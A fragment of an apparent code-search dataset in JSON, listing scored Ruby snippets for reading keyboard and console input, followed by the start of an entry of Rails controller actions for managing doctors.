"text": "def input?(device)\n device.respond_to?(:type) && device.type == :input && device.respond_to?(:gets)\n end",
"title": ""
},
{
"docid": "2f141e8092b260e6e2b14696d7ea3452",
"score": "0.65202576",
"text": "def get_user_input\n user_input_valid gets.chomp\n end",
"title": ""
},
{
"docid": "3dfa86ed228b861680f63ae6dec29a8f",
"score": "0.6515848",
"text": "def continue?\n print \"Enter any key to continue or 'x' to exit: \"\n response = gets.chomp().downcase\n if response == 'x'\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "3dfa86ed228b861680f63ae6dec29a8f",
"score": "0.6515848",
"text": "def continue?\n print \"Enter any key to continue or 'x' to exit: \"\n response = gets.chomp().downcase\n if response == 'x'\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "01f075d77b6a50db892f549bd39d1004",
"score": "0.6479292",
"text": "def get_input\n\t\tgood_input = false\n\t\tuntil good_input\n\t\t\tputs \"\"\n\t\t\tputs \"Enter a letter or enter 'Menu' to open the Main Menu\"\n\t\t\tinput = gets.chomp\n\t\t\tif @incorrect_array.include?(input) or @blank_word_array.include?(input)\n\t\t\t\tputs \"You already guessed '#{input}'\"\n\t\t\telsif input.downcase == \"menu\"\n\t\t\t\t\tclear_screen\n\t\t\t\t\tmenu\n\t\t\telsif input.length > 1\n\t\t\t\tputs \"You can't guess more than one letter at a time\"\n\t\t\telsif input == ''\n\t\t\t\t\t\t\t\n\t\t\telse\n\t\t\t\tgood_input = true\n\t\t\tend\n\t\tend\n\t\tinput\n\tend",
"title": ""
},
{
"docid": "a6c055fcc513e579f6b624cdede66b4c",
"score": "0.64092344",
"text": "def key_pressed?(key)\n key_const = Gosu.const_get(:\"Kb#{key.to_s.gsub(/\\b\\w/){$&.upcase}}\")\n button_down?(key_const)\n end",
"title": ""
},
{
"docid": "edbbf358596e1010b46aa7f3dee8e679",
"score": "0.64073175",
"text": "def validate_input_last input\r\n\t\t if @console\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) || (check_enter input)\r\n\t\t else\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) && !(check_enter input)\r\n\t\t end\r\n\t\t end",
"title": ""
},
{
"docid": "ea9ad9c8182127645130e164887bbf03",
"score": "0.63871795",
"text": "def validate_input input\r\n\t\t\t\t\t\t\tif @console\r\n\t\t (input.match(/\\A[[:alpha:][:blank:]]+\\z/) || (check_enter input)) && (input.size < 2)\r\n\t\t else\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) && !(check_enter input)\r\n\t\t end\r\n\t\t end",
"title": ""
},
{
"docid": "9da07e5b113e790b384a92938ceff6c4",
"score": "0.63851315",
"text": "def input\n keys = Vedeu::Input::Raw.read\n\n if click?(keys)\n Vedeu::Input::Mouse.click(keys)\n\n else\n keys\n\n end\n end",
"title": ""
},
{
"docid": "9f68f95d42252df8422ffd128952aa12",
"score": "0.63713056",
"text": "def pressKey\n STDIN.echo = false\n STDIN.raw!\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n return input\nend",
"title": ""
},
{
"docid": "e7914de81e5c4fa3f3be3e7dba56d98d",
"score": "0.63469225",
"text": "def any_key\n puts \"\"\n puts \"Press any key to continue..\"\n STDIN.getch\n end",
"title": ""
},
{
"docid": "297b25db1b02158164db1400fcba5d76",
"score": "0.63406676",
"text": "def play_again?\r\n tab(4, \"Press 'y' to play again.\")\r\n tab(7, \"Press 'q' to quit.\", \"\\n\")\r\n @key = STDIN.getch\r\n end",
"title": ""
},
{
"docid": "9ea51ff5acd57f7c3544fe6c5236f584",
"score": "0.6340116",
"text": "def check_win(input)\n input.include?('w')\n end",
"title": ""
},
{
"docid": "22294f505922eb5b68a870cf1a084dfe",
"score": "0.6332831",
"text": "def char_press\n begin\n system('stty raw -echo') # turn raw input on\n input = $stdin.getc if $stdin.ready?\n input.chr if input\n ensure\n system('stty -raw echo') # turn raw input off\n end\n end",
"title": ""
},
{
"docid": "0a2f8817ac53026d2032f2aaac4e34a5",
"score": "0.6224544",
"text": "def check_inputs args\n # if the game is over\n if args.state.game_state != \"playing\"\n # let the player press enter to restart\n if args.inputs.keyboard.key_down.enter\n # quick way to reset the whole game\n $gtk.reset\n end\n # stop processing this method and go back to the previous\n return\n end\n\n # player movement\n if args.inputs.left\n args.state.player_x -= args.state.player_speed\n end\n if args.inputs.right\n args.state.player_x += args.state.player_speed\n end\n\n # player shooting\n if args.inputs.keyboard.key_down.space\n shoot args\n end\nend",
"title": ""
},
{
"docid": "7a582ebdb07d6a14dcf0cb756b7a7fd2",
"score": "0.62237394",
"text": "def key_press?\n $gtk.args.keyboard.key_down.raw_key\nend",
"title": ""
},
{
"docid": "e6810e8e147cbc7a42e71b68b135d5e2",
"score": "0.6218185",
"text": "def check_selected_key\n key = @input_window.selected_key\n if key == 0\n return_scene\n else\n $game_system.xinput_key_set[@keys_window.item] = key\n @keys_window.refresh\n @keys_window.activate\n end\n end",
"title": ""
},
{
"docid": "93b60eadba83a023a7a39dd9819deaee",
"score": "0.6215589",
"text": "def waitForKeyPress\n print \"Press any key to continue\"\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n \n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts \"Got interrupt key, quitting\"\n exit 1\n end\nend",
"title": ""
},
{
"docid": "c015bf06bca78137fe5c5d08ca8aeaa5",
"score": "0.620107",
"text": "def read_char()\n STDIN.getch()\nend",
"title": ""
},
{
"docid": "cd42a74f148d41a5f1f434f96341a90c",
"score": "0.6197487",
"text": "def waitForKeyPress\n print 'Press any key to continue'\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n\n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts 'Got interrupt key, quitting'\n exit 1\n end\nend",
"title": ""
},
{
"docid": "98cc55d96a78f611b4f1e8f323fdda7e",
"score": "0.6193958",
"text": "def joke_ex2(joke, correct_response)\n puts joke\n user_input = gets.chomp\n if user_input == correct_response\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "0f6ab903043dc11621af2f90dcad1040",
"score": "0.6187524",
"text": "def input\n loop do\n case STDIN.getch\n when 'a' then return :left\n when 'd' then return :right\n when 'q' then return :exit\n end\n end\n end",
"title": ""
},
{
"docid": "0df36361f541b15e5b96ecbabe7b630d",
"score": "0.6180572",
"text": "def choose_letter \n puts \"\\nPick your letter (X/O).\"\n print \"> \"\n letter = STDIN.gets.chomp.upcase\n\n\n if (letter != \"X\") && (letter != \"O\")\n puts \"\\nWrong character.\\nPlease press the \\\"X\\\" or \\\"O\\\" key\\non your keyboard.\\n\\n\\n\"\n letter = choose_letter\n end\n letter\nend",
"title": ""
},
{
"docid": "1a1d6b0b629319e266a5ad9782567a3a",
"score": "0.6168169",
"text": "def key_pressed?\n @declared_fields['keyPressed'].value(java_self)\n end",
"title": ""
},
{
"docid": "33c7b3a6e88d967e24ad0ec9a246d90b",
"score": "0.61657655",
"text": "def main_menu_check\n input = user_input\n until input == 'p'\n if input == 'q'\n exit!\n end\n puts \"Wrong input, enter p to play or q to quit\"\n input = user_input\n end\n end",
"title": ""
},
{
"docid": "bb48f9ed21ebe711e7f23a743b3ad795",
"score": "0.6119749",
"text": "def raw_input(msg)\n puts msg\n print \">> \"\n input = gets.chomp\n if input.downcase == \"q\"\n return input, true\n else\n return input, false\n end\nend",
"title": ""
},
{
"docid": "ab90a8c5c6f79750d4c065ffcb2ed82c",
"score": "0.6117707",
"text": "def pressKeyToContinue\n puts \"\\n-- press any key to continue --\"\n gets\nend",
"title": ""
},
{
"docid": "8069535761caee77b4a521ccfe8a4283",
"score": "0.61129993",
"text": "def getInput\n puts \"Guess a letter:\"\n checkLetter(gets.chomp)\nend",
"title": ""
},
{
"docid": "4781f689cf13d04754befed04c5ab658",
"score": "0.6090581",
"text": "def input_listener\n print \"'Ctrl-C' to quit...\\n\"\n while true do\n input = gets.chomp.to_s.downcase\n if ['v','version'].include?(input)\n puts \"Netservate #{@version}\"\n else\n puts \"\\nNot a valid input.\"\n end\n end\n end",
"title": ""
},
{
"docid": "537fb84bdd51966134893f127dd6e119",
"score": "0.6088837",
"text": "def on_key(ch)\n end",
"title": ""
},
{
"docid": "92df750aa9fec80c25773921779e77af",
"score": "0.60879904",
"text": "def prompt\n\tputs \"Any Key to continue\"\n\tgets\nend",
"title": ""
},
{
"docid": "0e99a740be39019625401ef8dc0d06f8",
"score": "0.6081412",
"text": "def user_menu_input\n menu\n user_menu_selection = gets.strip.to_i\n if valid_menu_selection?(user_menu_selection)\n user_menu_selection\n else\n puts \"\\nInvalid input \\u{1f4a9} !\\n \".colorize(:red).bold\n user_menu_input\n end\n end",
"title": ""
},
{
"docid": "93ccbd59532a6a8ba06dee9c1f65a217",
"score": "0.6074987",
"text": "def process_confirm_keyboard_input(key)\n case key\n when :enter then print_confirm(@res, false)\n when :Y, :y then print_confirm(true, false)\n when :N, :n then print_confirm(false, false)\n when :tab, :down, :left, :space, :up, :right then print_confirm(!@res, true)\n end\n end",
"title": ""
},
{
"docid": "d5e59b29b46fa76236f490a4273602dd",
"score": "0.6073117",
"text": "def lkeyboard?(x, y)\n return x < @params[:width] / 2\n end",
"title": ""
},
{
"docid": "a3c05f329fe8a2f3419e5d945153e709",
"score": "0.60641676",
"text": "def tell_a_joke(joke_to_tell, correct_response)\n puts joke_to_tell\n user_input = gets.chomp\n if user_input == correct_response\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "f3e4f9e16522b13b91e9c19deab737e4",
"score": "0.606179",
"text": "def valid_input?(input)\n if 1 <= input.to_i && input.to_i <= 9\n coordinates = get_coordinates(input)\n valid_cell?(coordinates)\n elsif input.downcase == \"quit\" || input.downcase == \"restart\"\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "5dd8c5e1d14893ee5c5e85025a298a32",
"score": "0.60571295",
"text": "def keypress(key)\n puts \"Got key: #{key} (#{key.class})\"\n if key.is_a?(String)\n if key.length == 1\n # Assume letter\n @vnc.keyevent(key.chr, true)\n @vnc.keyevent(key.chr, false)\n else\n # Assume keysym\n puts \"I don't know how to type '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end\n else\n # type printables, key others.\n if 32.upto(127).include?(key)\n @vnc.keyevent(key, true)\n @vnc.keyevent(key, false)\n else\n case key\n when 8 \n @vnc.keyevent(0xff08, true)\n @vnc.keyevent(0xff08, false)\n when 13\n @vnc.keyevent(0xff0D, true)\n @vnc.keyevent(0xff0D, false)\n else\n puts \"I don't know how to type web keycode '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end # case key\n end # if 32.upto(127).include?(key)\n end # if key.is_a?String\n return nil\n end",
"title": ""
},
{
"docid": "8ea6ded61c1ce34f8593a47b6ab961d1",
"score": "0.6055681",
"text": "def new_hand_check\n puts 'Are you ready to play? Enter ' + '(Y)es'.light_green + ' to proceed or ' + '(N)o'.light_red + ' to return to the main menu.'\n @input = STDIN.gets.chomp\n if @input.downcase == 'y' || @input.downcase == 'yes'\n @game_running = true\n elsif @input.downcase == 'n' || @input.downcase == 'no'\n @game_running = false\n else\n puts 'Please enter a valid input.'\n new_hand_check\n end\nend",
"title": ""
},
{
"docid": "12134448085906c372cababbf7bb573e",
"score": "0.6052622",
"text": "def read_char &block\n STDIN.noecho do\n # as long as the block doen't return falsy,\n # read the user input key and sned it to the block\n while block.( IOHelper.get_char )\n end\n end\n end",
"title": ""
},
{
"docid": "ef3246aae2e329310a2af627d8d1a2ca",
"score": "0.605222",
"text": "def rp5_key_press?(key)\n if $sketch.key_pressed?\n if $sketch.key == $sketch.class::CODED\n return $sketch.key_code == key\n else\n return $sketch.key == key.chr\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "3381ba97d9583d7477ab60a82c021eb4",
"score": "0.6045544",
"text": "def valid?\n @input != \"exit\" && @input != \"quit\"\n end",
"title": ""
},
{
"docid": "23db2a42a75a2517befabf04f6e75f2f",
"score": "0.60387254",
"text": "def asking_getchar\n Fiber.yield :input\n end",
"title": ""
},
{
"docid": "016a8d0053d9e7185844e551d14c82a9",
"score": "0.60386825",
"text": "def get_user_input\n Termbox.tb_poll_event(@event)\n ascii_to_symbol @event[:ch]\n end",
"title": ""
},
{
"docid": "961c47b077f24c87b584fd2694f3e5c0",
"score": "0.6036719",
"text": "def keypress\n Vedeu::Input::Translator.translate(input)\n end",
"title": ""
},
{
"docid": "7ea9a5cb249a2ccd1363d87774032a6a",
"score": "0.6027682",
"text": "def is_input_valid?(input)\n if input.length == 1\n (input.ord >= 97 && input.ord <=122) ? true : false\n end\n end",
"title": ""
},
{
"docid": "0999bf9c313af35ee0597d302709098f",
"score": "0.6026858",
"text": "def getUserInput()\n setInput(nil)\n resumeTerminal\n count = 0\n while @@input == nil do \n sleep(0.5)\n # playGame terminates after 60 idle seconds\n count += 1\n if count >= 120\n broadcast(\"Connection timed out\")\n @@running = false\n return\n end\n end\n end",
"title": ""
},
{
"docid": "e27f28a641438eec1e86806a633822b7",
"score": "0.6021657",
"text": "def unrecognized_input\n puts \"Input not recognized or is invalid.\"\n exit_screen\n end",
"title": ""
},
{
"docid": "1f3985ec88735125b1268f2eda3d598b",
"score": "0.6020592",
"text": "def check_input(valid_inputs)\n input = \"\"\n loop do\n input = gets.chomp.upcase\n break if (valid_inputs).include?(input)\n puts \"Sorry. One more time:\"\n end\n return input\n end",
"title": ""
},
{
"docid": "a6958a444a78a59340d8dce8ab065d8f",
"score": "0.600779",
"text": "def handle_input\n case event = SDL::Event2.poll\n when SDL::Event2::Quit then @running = false\n when SDL::Event2::KeyDown\n case event.sym\n when SDL::Key::ESCAPE then @running = false\n when SDL::Key::LEFT then direction = :left\n when SDL::Key::RIGHT then direction = :right\n when SDL::Key::UP then direction = :up\n when SDL::Key::DOWN then direction = :down \n end\n\n @log.info \"Key Event: #{event.sym} #{direction}\"\n return direction\n end\n end",
"title": ""
},
{
"docid": "94052cb8e4028b4fb0ac765a8f636d23",
"score": "0.6006421",
"text": "def menu\n puts '|____________________________________________________________|'\n puts '| |'\n puts '| -- M E N U : |'\n puts '| |'\n puts \"| * Show : 's' |\"\n puts \"| * Quit : 'q' |\"\n puts '|____________________________________________________________|'\n\n input = ''\n loop do\n puts ''\n input = ask ' >> '\n puts ''\n if ['q', 's'].include? input\n break\n else\n puts ' ____________________________________________________________ '\n puts '| |'\n puts '| Invalid input, please try again... |'\n puts '|____________________________________________________________|'\n end\n end\n input\nend",
"title": ""
},
{
"docid": "9a43bdfd396f103f06f05adef7640c4e",
"score": "0.5994137",
"text": "def input\n if raw_mode?\n keys = console.getch\n if keys.ord == 27\n keys << console.read_nonblock(3) rescue nil\n keys << console.read_nonblock(2) rescue nil\n end\n keys\n\n else\n console.gets.chomp\n\n end\n end",
"title": ""
},
{
"docid": "781454f4dc3fd087f2d3bb2e9067f974",
"score": "0.5989545",
"text": "def getch\n scan(/./m)\n end",
"title": ""
},
{
"docid": "e5e44198946868b79d28e3277db2b6b1",
"score": "0.59889185",
"text": "def execute(input: $stdin, output: $stdout)\n heading 'Only press [a,s,d,f or x]'\n\n reader = TTY::Reader.new\n\n exiting = false\n\n reader.on(:keypress) do |event|\n prompt.say event.value if event.value == 'a'\n prompt.warn event.value if event.value == 's'\n prompt.error event.value if event.value == 'd'\n prompt.ok event.value if event.value == 'f'\n\n if event.value == 'x'\n prompt.warn 'e[x]iting....'\n exiting = true\n end\n end\n\n until exiting do reader.read_keypress end\n\n heading 'Press any key or ^x or Esc to exit'\n\n reader = TTY::Reader.new\n\n exiting = false\n\n reader.on(:keypress) do |event|\n puts event.value\n end\n reader.on(:keyctrl_x, :keyescape) do\n prompt.warn 'e[x]iting....'\n exiting = true\n end\n\n until exiting do reader.read_keypress end\n\n :gui\n end",
"title": ""
},
{
"docid": "c7cda17a90204f6f22c25318b7ef9fc5",
"score": "0.5985352",
"text": "def keypress\n $prompt.keypress(\"Press space or enter to continue\", keys: [:space, :return])\nend",
"title": ""
},
{
"docid": "b360f19e8f02befb7fdd2b4388e10a10",
"score": "0.5985004",
"text": "def yes_entered?\n /y|Y/.match(connection.gets.chomp)\n end",
"title": ""
},
{
"docid": "f0dfc0182a4d65a68e93817e58a5648d",
"score": "0.59840065",
"text": "def taken?(user_input)\n position(user_input) == \"X\" || position(user_input) == \"O\" ? true : false\n end",
"title": ""
},
{
"docid": "d1cf53b8ddf46c5a39215deaf5d0de6c",
"score": "0.5968757",
"text": "def user_input\n\tgets\nend",
"title": ""
},
{
"docid": "adc9f85ce9f5d39a18f81ab2f1d6f114",
"score": "0.59670913",
"text": "def taken?( player_input )\n position( player_input ) =~ /[XO]/ ? true : false\n end",
"title": ""
},
{
"docid": "76f258409a10065ad745b74dcdae710d",
"score": "0.59529656",
"text": "def input_range\n input = STDIN.getch\n print input\n sleep(0.17) #to see player input on console \n if input.to_i>0 && input.to_i<9\n $col = input.to_i-1\n elsif input == \"x\"\n print \"\\n\\n\\n\"\n exit\n else\n print \"\\n\\n\\tWrong input! Press key between 1 and 8.\\n\\n\\tPlayer \", $x_or_o, \" > \"\n input_range()\n end\n end",
"title": ""
},
{
"docid": "0a757469a86f23c88ccca35f847cabd3",
"score": "0.5942467",
"text": "def key_pressed?\n Java.java_to_primitive(java_class.field(\"keyPressed\").value(java_object))\n end",
"title": ""
},
{
"docid": "b985016df673d7c937476dbbfa2a5fa9",
"score": "0.5940491",
"text": "def run_home_screen\n home_screen\n\n # Loop that will receive user input and check whether it is valid.\n loop do\n @input = STDIN.gets.chomp\n if @input.downcase == 'p' || @input.downcase == 'play'\n @game_running = true\n play_poker\n break\n elsif @input.downcase == 'r' || @input.downcase == 'rules'\n poker_rules\n run_home_screen\n break\n elsif @input.downcase == 'q' || @input.downcase == 'quit'\n break\n else\n puts 'Please enter a valid command!'\n end\n end\n system 'exit'\nend",
"title": ""
},
{
"docid": "3888017148ad80c458b38bac41638a1b",
"score": "0.5940336",
"text": "def keypress(key = nil, name = nil)\n Vedeu.trigger(:key, key)\n\n return false unless key\n\n new(key, name).keypress\n end",
"title": ""
},
{
"docid": "0a757469a86f23c88ccca35f847cabd3",
"score": "0.5939959",
"text": "def key_pressed?\n Java.java_to_primitive(java_class.field(\"keyPressed\").value(java_object))\n end",
"title": ""
},
{
"docid": "acf3ce38ea6ee27c3caa075d02bfceee",
"score": "0.59394646",
"text": "def keypress\n key = input\n\n @keypress ||= Vedeu::Input::Translator.translate(key)\n end",
"title": ""
},
{
"docid": "41d8e4fdb437c14faa1076be9613c776",
"score": "0.5933506",
"text": "def keyboard_shown?\n @bridge.is_keyboard_shown\n end",
"title": ""
},
{
"docid": "41d8e4fdb437c14faa1076be9613c776",
"score": "0.5933506",
"text": "def keyboard_shown?\n @bridge.is_keyboard_shown\n end",
"title": ""
},
{
"docid": "737ae990179cd317e0431ab77a15a919",
"score": "0.59308434",
"text": "def user_input\n key = @window.getch\n case key\n when Curses::KEY_LEFT\n @in_play.move_left\n when Curses::KEY_RIGHT\n @in_play.move_right\n when Curses::KEY_UP\n @in_play.rotate_r\n when 'z'\n @in_play.rotate_l\n when Curses::KEY_DOWN\n @in_play.position = @ghost_piece.position\n @in_play.add_to_board\n end\n # calculate ghost piece after piece movement\n calculate_ghost_piece\n end",
"title": ""
},
{
"docid": "afdd3623318d99f518cc1431b71b4148",
"score": "0.59226465",
"text": "def play_again?\r\n bool_input \"Play again?\"\r\n end",
"title": ""
},
{
"docid": "c02ac55bc64f718f790735cf8011845e",
"score": "0.59160876",
"text": "def press? key=:any\n return @data.include? :on if key == :any\n @data[key] != :off\n end",
"title": ""
},
{
"docid": "965dc381b1b0bef79fe88d010bcbeff3",
"score": "0.5912088",
"text": "def typing?\r\n\t\treturn true if repeat?(:SPACE)\r\n\t\tfor key in LETTERS\r\n\t\t\treturn true if repeat?(key)\r\n\t\tend\r\n\t\tfor key in NUMBERS\r\n\t\t\treturn true if repeat?(key)\r\n\t\tend\r\n\t\treturn false\r\n\tend",
"title": ""
},
{
"docid": "5a8303ed3afad32e5e391f2127529aa1",
"score": "0.590454",
"text": "def textFieldShouldReturn(textField)\n @input_field.resignFirstResponder\n if @input_field.text == 'Utah'\n its_gon_rain\n else\n request_weather\n end\n true\n end",
"title": ""
},
{
"docid": "1502f13e810c4cc9c73676d9cf8a299b",
"score": "0.58966136",
"text": "def key_pressed?(key)\n @prev_down.index(key).nil? and @down.index(key)\n end",
"title": ""
},
{
"docid": "21736621c4784c2e8eb308d031b8b20e",
"score": "0.5894517",
"text": "def get_user_input(message)\n puts message\n gets.chomp\n end",
"title": ""
},
{
"docid": "d3e751fc03d43a9691040655865231df",
"score": "0.5887283",
"text": "def decide\n input = '0'\n puts \"What would you like to do? 1) hit 2) stay\"\n loop do\n input = gets.chomp\n if !['1', '2'].include?(input)\n puts \"Error: you must enter 1 or 2\"\n else\n break\n end\n end\n puts \"Hit me!\" if input == '1'\n puts \"Stay!\" if input == '2'\n input \n end",
"title": ""
},
{
"docid": "1e6b79753789e85b195e70a0b649fc59",
"score": "0.5886367",
"text": "def get_command(can_double_down, can_split)\n self.print_msg('hit_or_stay')\n \n if can_double_down\n self.print_msg('can_double_down')\n end\n \n if can_split\n self.print_msg('can_split')\n end\n \n valid_input = false\n \n until valid_input do\n input = gets.chomp\n if input == \"h\" || input ==\"s\" || (input == \"d\" && can_double_down) || (input == \"x\" && can_split) \n valid_input = true\n else\n self.print_msg('invalid_command')\n end\n end\n return input\n end",
"title": ""
},
{
"docid": "324915a1c1faef37f21a987129c684c1",
"score": "0.5883982",
"text": "def inputable?\r\n normal? && !auto_battle?\r\n end",
"title": ""
},
{
"docid": "6f32598d52194f0772b73a2a02571a87",
"score": "0.5877938",
"text": "def process_redio_keyboard_input(key)\n case key\n when :enter then @redio_loop = false\n when /\\d/ then print_redio(key.to_s)\n when :tab, :down, :left, :space then print_redio(@redio_res.succ)\n when :up, :right then print_redio(@redio_res.pred)\n end\n end",
"title": ""
},
{
"docid": "82cc956478cdcbb504abe0c5e7283511",
"score": "0.58628553",
"text": "def key_press\n x = $stdin.getch\n x += handle_esc if x == \"\\e\"\n\n x\nend",
"title": ""
},
{
"docid": "77bf2cb193fb1c50504f761ec6cec1a8",
"score": "0.5858978",
"text": "def key_pressed?(key)\r\n\t\tif (GetKeyState.call(VALUES[key]).abs & 0x8000 == 0x8000)\r\n\t\t\tKeyRepeatCounter[key] = 0\r\n\t\t\treturn true\r\n\t\tend\r\n\t\treturn false\r\n\tend",
"title": ""
},
{
"docid": "8e2fe1b5a71e9987021a77f096cf885b",
"score": "0.58533233",
"text": "def pressed?() sdl_event.press end",
"title": ""
},
{
"docid": "b3c76ab0e5304d9ed887e91103e59ca5",
"score": "0.5845006",
"text": "def di(x); $game_player.directionalInput == x; end",
"title": ""
},
{
"docid": "3b86563d85b15f4d6b87a4fb51c195b4",
"score": "0.5844152",
"text": "def get_user_input\n gets.chomp\nend",
"title": ""
},
{
"docid": "3b86563d85b15f4d6b87a4fb51c195b4",
"score": "0.5844152",
"text": "def get_user_input\n gets.chomp\nend",
"title": ""
},
{
"docid": "7fedb5bfb73fa1b5f4ba815e5f5bec58",
"score": "0.5843458",
"text": "def get_user_input\n print \">> \"\n input = gets.chomp\n begin\n parse_user_input(input)\n rescue StandardError\n invalid_command\n end\n end",
"title": ""
},
{
"docid": "5b2966ceec58e53887f08b9c152a5e3d",
"score": "0.5837844",
"text": "def gets_user_input\n input = gets.chomp\n puts \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # binding.pry\n\n if input == \"exit\"\n exit\n end\n\n return input\n end",
"title": ""
},
{
"docid": "ef997359edf6a04bdc0e49f3b1f1b9b9",
"score": "0.58363223",
"text": "def get_input\n user = Input.new\n loop do\n input = user.get_input\n return loss(input) if self[input].value == \"O\"\n return reveal_adjacent_cells(input) if !self[input].show\n puts \"Invalid input\"\n end\n end",
"title": ""
}
] |
d9055a79a765f298da33918b93270eb0
|
POST /doctors POST /doctors.json
|
[
{
"docid": "7705e6f9bf492c13a07fc41bb3e5c618",
"score": "0.58922845",
"text": "def create\n @doctor = Doctor.new(doctor_params)\n #@doctor = Doctor.new(params[:doctor])\n\n respond_to do |format|\n if @doctor.save\n log_in @doctor\n flash[:success] = \"Welcome to the NHS rota manager\"\n format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n format.json { render :show, status: :created, location: @doctor }\n else\n format.html { render :new }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "3f7411fcb849219fdf74ee56e1acc21f",
"score": "0.7009636",
"text": "def create\n @doctor = Doctor.new(params[:doctor])\n\n if @doctor.save\n render json: @doctor, status: :created, location: @doctor\n else\n render json: @doctor.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "08298320bc9f8408568af0428c602f97",
"score": "0.69243973",
"text": "def doctors\n response = RestClient.get 'https://api.betterdoctor.com/2016-03-01/doctors?location=37.773%2C-122.413%2C100&user_location=37.773%2C-122.413&skip=4&limit=100&user_key=3e4679b46d0072502aa1d79b922da235'\n json = JSON.parse response\n\n if !json.nil?\n json[\"data\"].map do |doctor|\n Doctor.create(name: \"#{doctor[\"profile\"][\"first_name\"]} #{doctor[\"profile\"][\"last_name\"]}\", image_url: doctor[\"profile\"][\"image_url\"], insurance_id: rand(1..Insurance.all.count), specialty_id: rand(1..Specialty.all.count), fee: rand(200..500))\n end\n else\n puts \"error fetching doctors\"\n end\nend",
"title": ""
},
{
"docid": "8274103a1e98b70ece20c818b6dcbba3",
"score": "0.6827634",
"text": "def index\n @doctors = Doctor.all\n\n render json: @doctors\n end",
"title": ""
},
{
"docid": "e482270b099532b64c2fd0b449ab3d99",
"score": "0.68217087",
"text": "def create\n @doctor = Doctor.new(doctor_params)\n\n respond_to do |format|\n if @doctor.save\n format.json { render json: @doctor, status: :created}\n else\n format.json { render json: @doctor.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51271a33d8967a757562f6d346bb43e3",
"score": "0.66803384",
"text": "def create\n @doctor = Doctor.new(params[:doctor])\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n format.json { render :json => @doctor.to_json(:except => [:created_at, :updated_at]), status: :created, location: @doctor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e377fad796c51ee17724b1d8192c9c45",
"score": "0.6656179",
"text": "def create\n Doctor.create(\"dname\" => params[\"name\"] , \"dprofile\" => params[\"profile\"] , \"dage\" => params[\"age\"] , \"dphotourl\" => params[\"photourl\"] , \"dspecialization1\" => params[\"specilization1\"] , \"dspecialization2\" => params[\"specilization2\"] , \"dwork\" => params[\"work\"] , \"deducation\" => params[\"education\"] , \"page_count\" => 0 )\n redirect_to \"/doctors\"\n end",
"title": ""
},
{
"docid": "3957a5c160ae921b389c3216c67fe552",
"score": "0.6639392",
"text": "def create\n @doctor = Doctor.new(params[:doctor])\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, :notice => 'Doctor was successfully created.' }\n format.json { render :json => @doctor, :status => :created, :location => @doctor }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @doctor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a87ddd87feba423e406c2ea2b6af3495",
"score": "0.6594277",
"text": "def create\n @kf_doctor = Kf::Doctor.new(params[:kf_doctor])\n\n respond_to do |format|\n if @kf_doctor.save\n format.html { redirect_to kf_doctors_url({:page => params[:page]}), notice: 'Doctor was successfully created.' }\n format.json { render json: @kf_doctor, status: :created, location: @kf_doctor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kf_doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2bc89dba896414164d9d9d07f421e25d",
"score": "0.6587277",
"text": "def create\n @patient = Patient.new(patient_params)\n\n respond_to do |format|\n if @patient.save\n format.html { redirect_to @patient, notice: 'Patient was successfully created.' }\n format.json { render :show, status: :created, location: @patient }\n else\n @doctors = Docotr.all\n format.html { render :new }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "faeea2ecfd5839e3d4ba78d7a66f74ae",
"score": "0.65406126",
"text": "def create\n @doctor = Doctor.new(params[:doctor])\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n format.json { render json: @doctor, status: :created, location: @doctor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b8cb4c37f5bba92b3764202d2303972d",
"score": "0.6475225",
"text": "def doctors\n doctors = Employee.all.select{|emp| emp.role == \"Doctor\"}\n render json: doctors\n end",
"title": ""
},
{
"docid": "f8dd6289719977cac27d998b2fe29e5c",
"score": "0.64561266",
"text": "def create\n @doctor = Doctor.new(params[:doctor].merge(:user_id => current_user.id))\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to(doctors_url, :notice => 'Doctor was successfully created.') }\n format.xml { render :xml => @doctors_url, :status => :created, :location => @doctor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @doctor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d1b34700b33c792df86cd28cb00f53d",
"score": "0.6416476",
